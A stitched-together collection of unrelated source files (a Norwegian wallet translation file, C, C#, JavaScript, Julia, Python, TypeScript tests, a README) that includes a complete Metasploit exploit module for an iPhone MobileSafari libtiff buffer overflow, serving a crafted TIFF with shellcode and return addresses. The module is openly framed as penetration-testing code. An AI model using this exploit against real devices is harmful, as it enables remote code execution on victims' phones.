<source>Minimize weight consumption (experimental) (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>How many blocks to check at startup (default: 500, 0 = all)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Keep at most <n> unconnectable blocks in memory (default: %u)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Acceptable ciphers (default: TLSv1.2+HIGH:TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!3DES:@STRENGTH)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Warning: Deprecated argument -debugnet ignored, use -debug=net</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Invalid amount for -mininput=<amount>: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Cannot obtain a lock on data directory %s. WhyCoin is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Error initializing wallet database environment %s!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Loading wallet...</source>
<translation>Laster lommebok...</translation>
</message>
<message>
<location line="+8"/>
<source>Cannot downgrade wallet</source>
<translation>Kan ikke nedgradere lommebok</translation>
</message>
<message>
<location line="+1"/>
<source>Cannot write default address</source>
<translation>Kan ikke skrive standardadresse</translation>
</message>
<message>
<location line="+1"/>
<source>Rescanning...</source>
<translation>Leser gjennom...</translation>
</message>
<message>
<location line="+2"/>
<source>Done loading</source>
<translation>Ferdig med lasting</translation>
</message>
<message>
<location line="-161"/>
<source>To use the %s option</source>
<translation>For å bruke %s opsjonen</translation>
</message>
<message>
<location line="+188"/>
<source>Error</source>
<translation>Feil</translation>
</message>
<message>
<location line="-18"/>
<source>You must set rpcpassword=<password> in the configuration file:
%s
If the file does not exist, create it with owner-readable-only file permissions.</source>
<translation>Du må sette rpcpassword=<passord> i konfigurasjonsfilen:
%s
Hvis filen ikke finnes, opprett den med leserettighet kun for eier av filen.</translation>
</message>
</context>
</TS> |
#include "skynet.h"
#include "skynet_monitor.h"
#include "skynet_server.h"
#include "skynet.h"
#include "atomic.h"
#include <stdlib.h>
#include <string.h>
struct skynet_monitor
{
int version;
int check_version;
uint32_t source;
uint32_t destination;
};
struct skynet_monitor *skynet_monitor_new()
{
struct skynet_monitor *ret = skynet_malloc(sizeof(*ret));
memset(ret, 0, sizeof(*ret));
return ret;
}
void skynet_monitor_delete(struct skynet_monitor *sm)
{
skynet_free(sm);
}
void skynet_monitor_trigger(struct skynet_monitor *sm, uint32_t source, uint32_t destination)
{
sm->source = source;
sm->destination = destination;
ATOM_INC(&sm->version);
}
void skynet_monitor_check(struct skynet_monitor *sm)
{
if(sm->version == sm->check_version)
{
if(sm->destination)
{
skynet_context_endless(sm->destination);
skynet_error(NULL, "A message from [ :%08x ] to [ :%08x ] maybe in an endless loop (version = %d)", sm->source , sm->destination, sm->version);
}
}
else
{
sm->check_version = sm->version;
}
}
|
# The JavaScript Speed Reader 0.30
The JavaScript Speed Reader is a self-contained, single-file, easy-to-use speed reading program for use in HTML5 capable desktop browsers.
## Introduction
There is so much information that we must read each day, and the "to read" pile just keeps growing. And yet, our time is precious and valuable. The JavaScript Speed Reader is here to help!
For a video introduction to the JavaScript Speed Reader, **[click here](https://youtu.be/MdPaGncIUjg)**.
To try the JavaScript Speed Reader, click here: **[http://bit.ly/jsreader](http://bit.ly/jsreader)**.
### While playing
* Up and down arrows display words faster or slower.
* Right and left arrows skip back or skip ahead in the text.
* Spacebar pauses.
* Escape stops.
* Uncheck `Display multiple words` if you find it a bit difficult to keep up.
You're now ready to read faster than ever before.
## How it works
Each time we move our eyes as we read, we have to search for the best place to look at each word to help our mind recognize the word we're reading. That takes time. The JavaScript Speed Reader calculates the best reading location to recognize each word or phrase, and makes each word's best reading location appear in the same place every time. Now your eyes don't have to search around. You understand words faster, and you can read more in less time while still maintaining high comprehension of what you read.
## Easy to use
The JavaScript Speed Reader was designed to be easy to use. Simply drag and drop the `speedreader.html` file onto your web browser to start the program. If you use the JavaScript Speed Reader often, you can add the JavaScript Speed Reader as a bookmark in your browser for fast and easy access.
To read an article or book, copy the text into the text box, adjust the `Speed` (in words-per-minute) if desired, and click Play (►).
### Controls
The controls for the JavaScript Speed Reader are simple and intuitive:
#### Buttons and Keyboard Shortcuts
| Button | Description | Keyboard Shortcut
|:-:|:--|:-:|
|**◄◄** | Searches back for the beginning of the sentence. | **Left arrow**
| **► / ■** | Starts or stops a speed reading session. | Shortcut for stop: **Esc**
| **▌▐** | Pauses and resumes the speed reading session | **Spacebar**
| **►►** | Searches forward for the beginning of the next paragraph. | **Right arrow**
| **▼** | Reduces the reading speed. | **Down arrow**
| **▲** | Increases the reading speed. | **Up arrow**
#### Checkboxes
Use the check boxes to customize your reading experience:
| Check box | Description |
|:--|:--|
| Hide text box when reading | <p>Hate clutter? Check this check box for less clutter on the screen.</p><p>Want context? Uncheck the check box to see the current word or phrase highlighted in context while reading.</p> |
| Also hide buttons | <p>Really hate clutter? Check to unclutter the screen even more.</p><p>Uncheck to have the buttons available while reading.</p> |
| Display multiple words | <p>Want to read really fast? Check to read up to two words at a time.</p><p>Uncheck to read only one word at a time (which is a bit easier on the eyes).</p> |
## Developer information
Jumping into a new development project is never easy, but the JavaScript Speed Reader code was written to be easy to understand and is fully commented and documented. The detailed developer documentation is available in the DEVELOPER.md file.
## File list
| File | Description |
|:--|:--|
| jsreader.html | The JavaScript Speed Reader program itself. This is the only file you need to use the program.
| README.md | The documentation for using the JavaScript Speed Reader program. |
| changelog.md | The list of changes by version. |
| DEVELOPER.md | The developer documentation to help developers get up to speed quickly on the source code. |
## Acknowledgement
This program was inspired by videos released by [Spritz Inc](http://spritzinc.com/) of their excellent speed reading system.
|
body {
font-size: 0.5em;
} |
using Machine.Specifications;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace MFlow.Core.Tests.for_FluentValidation
{
public class when_calling_is_equal_with_a_value_that_does_not_satisfy_a_custom_equal_validator : given.a_fluent_user_validator_with_custom_implementation_set_to_replace
{
Because of = () =>
{
user.Password = "doesnotmatchcustomrequiredvalidator";
validator.Check(u => u.Password).IsEqualTo("");
};
It should_not_be_satisfied = () => { validator.Satisfied().ShouldBeFalse(); };
It should_return_the_correct_validation_message = () => { validator.Validate().First().Condition.Message.ShouldEqual("Password should be equal to "); };
}
}
|
# Test import macro
import Import: encap, @imports
using Base.Test
@imports "./a/index"
@test a == 1
@test b == 2
@test_throws UndefVarError c
@imports "./a/index" a b c
@test a == 1
@test b == 2
@test c == 3
# aliasing
@imports "./a/index" a => f b c
@test f == 1
@imports "./a" a=>f b=>g c=>h
@test f == 1
@test g == 2
@test h == 3
@imports "eval"
|
/*
* The MIT License
* Copyright (c) 2014-2016 Nick Guletskii
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
import Util from "oolutil";
import {
property as _property,
omit as _omit
} from "lodash";
import {
services
} from "app";
class UserService {
/* @ngInject*/
constructor($http, $q, Upload, $rootScope) {
this.$http = $http;
this.$q = $q;
this.$rootScope = $rootScope;
this.Upload = Upload;
}
getCurrentUser() {
return this.$http.get("/api/user/personalInfo", {})
.then(_property("data"));
}
changePassword(passwordObj, userId) {
const passwordPatchUrl = !userId ? "/api/user/changePassword" :
`/api/admin/user/${userId}/changePassword`;
return this.$http({
method: "PATCH",
url: passwordPatchUrl,
data: _omit(Util.emptyToNull(passwordObj), "passwordConfirmation")
})
.then(_property("data"));
}
countPendingUsers() {
return this.$http.get("/api/admin/pendingUsersCount")
.then(_property("data"));
}
getPendingUsersPage(page) {
return this.$http.get("/api/admin/pendingUsers", {
params: {
page
}
})
.then(_property("data"));
}
countUsers() {
return this.$http.get("/api/admin/usersCount")
.then(_property("data"));
}
getUsersPage(page) {
return this.$http.get("/api/admin/users", {
params: {
page
}
})
.then(_property("data"));
}
getUserById(id) {
return this.$http.get("/api/user", {
params: {
id
}
})
.then(_property("data"));
}
approveUsers(users) {
return this.$http.post("/api/admin/users/approve", users)
.then(_property("data"));
}
deleteUsers(users) {
return this.$http.post("/api/admin/users/deleteUsers", users)
.then(_property("data"));
}
countArchiveUsers() {
return this.$http.get("/api/archive/rankCount")
.then(_property("data"));
}
getArchiveRankPage(page) {
return this.$http.get("/api/archive/rank", {
params: {
page
}
})
.then(_property("data"));
}
addUserToGroup(groupId, username) {
const deferred = this.$q.defer();
const formData = new FormData();
formData.append("username", username);
this.Upload.http({
method: "POST",
url: `/api/group/${groupId}/addUser`,
headers: {
"Content-Type": undefined,
"X-Auth-Token": this.$rootScope.authToken
},
data: formData,
transformRequest: angular.identity
})
.success((data) => {
deferred.resolve(data);
});
return deferred.promise;
}
removeUserFromGroup(groupId, userId) {
return this.$http.delete(`/api/group/${groupId}/removeUser`, {
params: {
user: userId
}
})
.then(_property("data"));
}
}
services.service("UserService", UserService);
|
namespace FleetManagmentSystem.Web.ViewModels.Manufacture
{
using System.Web.Mvc;
using FleetManagmentSystem.Web.Infrastructure.Mapping;
using FleetManagmentSystem.Web.ViewModels.Base;
using FleetManagmentSystem.Models;
public class ManufactureDropDownListViewModel : BaseViewModel, IMapFrom<Manufacture>
{
[HiddenInput(DisplayValue = false)]
public int Id { get; set; }
public string Name { get; set; }
}
} |
// Copyright (c) Charlie Poole, Rob Prouse and Contributors. MIT License - see LICENSE.txt
#nullable enable
using System;
namespace NUnit.Framework
{
using Interfaces;
/// <summary>
/// Thrown when an assertion failed.
/// </summary>
[Serializable]
public class MultipleAssertException : ResultStateException
{
/// <summary>
/// Construct based on the TestResult so far. This is the constructor
/// used normally, when exiting the multiple assert block with failures.
/// Not used internally but provided to facilitate debugging.
/// </summary>
/// <param name="testResult">
/// The current result, up to this point. The result is not used
/// internally by NUnit but is provided to facilitate debugging.
/// </param>
public MultipleAssertException(ITestResult testResult)
: base(testResult?.Message)
{
Guard.ArgumentNotNull(testResult, "testResult");
TestResult = testResult;
}
#pragma warning disable CS8618 // Non-nullable field is uninitialized. Consider declaring as nullable.
/// <summary>
/// Serialization Constructor
/// </summary>
protected MultipleAssertException(System.Runtime.Serialization.SerializationInfo info,
System.Runtime.Serialization.StreamingContext context) : base(info,context)
{
}
#pragma warning restore CS8618 // Non-nullable field is uninitialized. Consider declaring as nullable.
/// <summary>
/// Gets the <see cref="ResultState"/> provided by this exception.
/// </summary>
public override ResultState ResultState
{
get { return ResultState.Failure; }
}
/// <summary>
/// Gets the <see cref="ITestResult"/> of this test at the point the exception was thrown,
/// </summary>
public ITestResult TestResult { get; }
}
}
|
def get_planet_name(id):
switch = {
1: "Mercury",
2: "Venus",
3: "Earth",
4: "Mars",
5: "Jupiter",
6: "Saturn",
7: "Uranus" ,
8: "Neptune"}
return switch[id]
|
\begin{tabular}{ c c c c c c }
Program & Size & Allocs & Runtime & Elapsed & TotalMem\\
\hline
\end{tabular}
\begin{verbatim}
[("Project name","The Glorious Glasgow Haskell Compilation System")
,("GCC extra via C opts"," -fwrapv -fno-builtin")
,("C compiler command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../mingw/bin/gcc.exe")
,("C compiler flags"," -fno-stack-protector")
,("C compiler link flags"," ")
,("C compiler supports -no-pie","YES")
,("Haskell CPP command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../mingw/bin/gcc.exe")
,("Haskell CPP flags","-E -undef -traditional")
,("ld command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../mingw/bin/ld.exe")
,("ld flags","")
,("ld supports compact unwind","YES")
,("ld supports build-id","YES")
,("ld supports filelist","NO")
,("ld is GNU ld","YES")
,("ar command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../mingw/bin/ar.exe")
,("ar flags","q")
,("ar supports at file","YES")
,("ranlib command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../mingw/bin/ranlib.exe")
,("touch command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib/bin/touchy.exe")
,("dllwrap command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../mingw/bin/dllwrap.exe")
,("windres command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../mingw/bin/windres.exe")
,("libtool command","C:/ghc-dev/msys64/usr/bin/libtool")
,("perl command","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\../perl/perl.exe")
,("cross compiling","NO")
,("target os","OSMinGW32")
,("target arch","ArchX86_64")
,("target word size","8")
,("target has GNU nonexec stack","False")
,("target has .ident directive","True")
,("target has subsections via symbols","False")
,("target has RTS linker","YES")
,("Unregisterised","NO")
,("LLVM llc command","llc")
,("LLVM opt command","opt")
,("LLVM clang command","clang")
,("Project version","8.7.20181107")
,("Project Git commit id","5693ddd071033516a1804420a903cb7e3677682b")
,("Booter version","8.4.3")
,("Stage","2")
,("Build platform","x86_64-unknown-mingw32")
,("Host platform","x86_64-unknown-mingw32")
,("Target platform","x86_64-unknown-mingw32")
,("Have interpreter","YES")
,("Object splitting supported","NO")
,("Have native code generator","YES")
,("Support SMP","YES")
,("Tables next to code","YES")
,("RTS ways","l debug thr thr_debug thr_l ")
,("RTS expects libdw","NO")
,("Support dynamic-too","NO")
,("Support parallel --make","YES")
,("Support reexported-modules","YES")
,("Support thinning and renaming package flags","YES")
,("Support Backpack","YES")
,("Requires unified installed package IDs","YES")
,("Uses package keys","YES")
,("Uses unit IDs","YES")
,("Dynamic by default","NO")
,("GHC Dynamic","NO")
,("GHC Profiled","NO")
,("Leading underscore","NO")
,("Debug on","False")
,("LibDir","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib")
,("Global Package DB","C:\\TeamCity\\buildAgent\\work\\63f445112b4e56e8\\inplace\\lib\\package.conf.d")
]
\end{verbatim}
|
import once = require('lodash/once');
import { DecoratorConfig, DecoratorFactory, BiTypedDecorator } from './factory';
import { PreValueApplicator } from './applicators';
/**
* Creates a function that is restricted to invoking func once. Repeat calls to the function return the value of the first invocation.
* @example
* class MyClass {
* value: number = 0;
*
* @Once()
* fn(): number {
* return ++this.value;
* }
* }
*
* const myClass = new MyClass();
*
* myClass.fn(); //=> 1
* myClass.fn(); //=> 1
* myClass.fn(); //=> 1
*/
export const Once = DecoratorFactory.createInstanceDecorator(
new DecoratorConfig(once, new PreValueApplicator(), { setter: true, optionalParams: true })
) as BiTypedDecorator;
export { Once as once };
export default Once;
|
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
# Multi-threaded applications are not allowed to execve() on OS X
# This stub injects a vfork/exit in front of the payload
'Prepend' =>
[
0xe3a0c042, # vfork
0xef000080, # sc
0xe3500000, # cmp r0, #0
0x1a000001, # bne
0xe3a0c001, # exit(0)
0xef000080 # sc
].pack("V*")
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end |
define(['view',
'class'],
function(View, clazz) {
function Overlay(el, options) {
options = options || {};
Overlay.super_.call(this, el, options);
this.closable = options.closable;
this._autoRemove = options.autoRemove !== undefined ? options.autoRemove : true;
var self = this;
if (this.closable) {
this.el.on('click', function() {
self.hide();
return false;
});
}
}
clazz.inherits(Overlay, View);
Overlay.prototype.show = function() {
this.emit('show');
this.el.appendTo(document.body);
this.el.removeClass('hide');
return this;
}
Overlay.prototype.hide = function() {
this.emit('hide');
this.el.addClass('hide');
if (this._autoRemove) {
var self = this;
setTimeout(function() {
self.remove();
self.dispose();
}, 10);
}
return this;
}
return Overlay;
});
|
<template name="login">
<div class="ui page">
<div class="ui centered page grid">
<div class="row">
<div class="column">
{{> atForm}}
</div>
</div>
</div>
</div>
</template>
|
/**
* The MIT License
*
* Copyright (c) 2014 Martin Crawford and contributors.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package org.atreus.impl.core.mappings.entities.builders;
import org.atreus.core.annotations.AtreusField;
import org.atreus.impl.core.Environment;
import org.atreus.impl.core.mappings.BaseFieldEntityMetaComponentBuilder;
import org.atreus.impl.core.mappings.entities.meta.MetaEntityImpl;
import org.atreus.impl.core.mappings.entities.meta.StaticMetaSimpleFieldImpl;
import org.atreus.impl.util.ObjectUtils;
import java.lang.reflect.Field;
/**
* Simple field meta field builder.
*
* @author Martin Crawford
*/
public class SimpleFieldComponentBuilder extends BaseFieldEntityMetaComponentBuilder {
// Constants ---------------------------------------------------------------------------------------------- Constants
// Instance Variables ---------------------------------------------------------------------------- Instance Variables
// Constructors ---------------------------------------------------------------------------------------- Constructors
public SimpleFieldComponentBuilder(Environment environment) {
super(environment);
}
// Public Methods ------------------------------------------------------------------------------------ Public Methods
@Override
public boolean handleField(MetaEntityImpl metaEntity, Field field) {
// Assumption is this is the last field builder to be called and therefore a simple field
// Create the static field
StaticMetaSimpleFieldImpl metaField = createStaticMetaSimpleField(metaEntity, field, null);
// Check for a field annotation
AtreusField fieldAnnotation = field.getAnnotation(AtreusField.class);
if (fieldAnnotation != null) {
String fieldColumn = fieldAnnotation.value();
if (ObjectUtils.isNotNullOrEmpty(fieldColumn)) {
metaField.setColumn(fieldColumn);
}
}
// Resolve the type strategy
resolveTypeStrategy(metaEntity, metaField, field);
// Add the field to the meta entity
metaEntity.addField(metaField);
return true;
}
// Protected Methods ------------------------------------------------------------------------------ Protected Methods
// Private Methods ---------------------------------------------------------------------------------- Private Methods
// Getters & Setters ------------------------------------------------------------------------------ Getters & Setters
} // end of class |
---
title: System development
--- |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import * as assert from 'assert';
import { toUint32 } from 'vs/base/common/uint';
import { PrefixSumComputer, PrefixSumIndexOfResult } from 'vs/editor/common/model/prefixSumComputer';
function toUint32Array(arr: number[]): Uint32Array {
const len = arr.length;
const r = new Uint32Array(len);
for (let i = 0; i < len; i++) {
r[i] = toUint32(arr[i]);
}
return r;
}
suite('Editor ViewModel - PrefixSumComputer', () => {
test('PrefixSumComputer', () => {
let indexOfResult: PrefixSumIndexOfResult;
const psc = new PrefixSumComputer(toUint32Array([1, 1, 2, 1, 3]));
assert.strictEqual(psc.getTotalSum(), 8);
assert.strictEqual(psc.getPrefixSum(-1), 0);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 2);
assert.strictEqual(psc.getPrefixSum(2), 4);
assert.strictEqual(psc.getPrefixSum(3), 5);
assert.strictEqual(psc.getPrefixSum(4), 8);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 1);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(5);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(6);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(7);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(8);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 2, 2, 1, 3]
psc.setValue(1, 2);
assert.strictEqual(psc.getTotalSum(), 9);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 3);
assert.strictEqual(psc.getPrefixSum(2), 5);
assert.strictEqual(psc.getPrefixSum(3), 6);
assert.strictEqual(psc.getPrefixSum(4), 9);
// [1, 0, 2, 1, 3]
psc.setValue(1, 0);
assert.strictEqual(psc.getTotalSum(), 7);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 1);
assert.strictEqual(psc.getPrefixSum(2), 3);
assert.strictEqual(psc.getPrefixSum(3), 4);
assert.strictEqual(psc.getPrefixSum(4), 7);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(5);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(6);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(7);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 0, 0, 1, 3]
psc.setValue(2, 0);
assert.strictEqual(psc.getTotalSum(), 5);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 1);
assert.strictEqual(psc.getPrefixSum(2), 1);
assert.strictEqual(psc.getPrefixSum(3), 2);
assert.strictEqual(psc.getPrefixSum(4), 5);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(5);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 0, 0, 0, 3]
psc.setValue(3, 0);
assert.strictEqual(psc.getTotalSum(), 4);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 1);
assert.strictEqual(psc.getPrefixSum(2), 1);
assert.strictEqual(psc.getPrefixSum(3), 1);
assert.strictEqual(psc.getPrefixSum(4), 4);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(4);
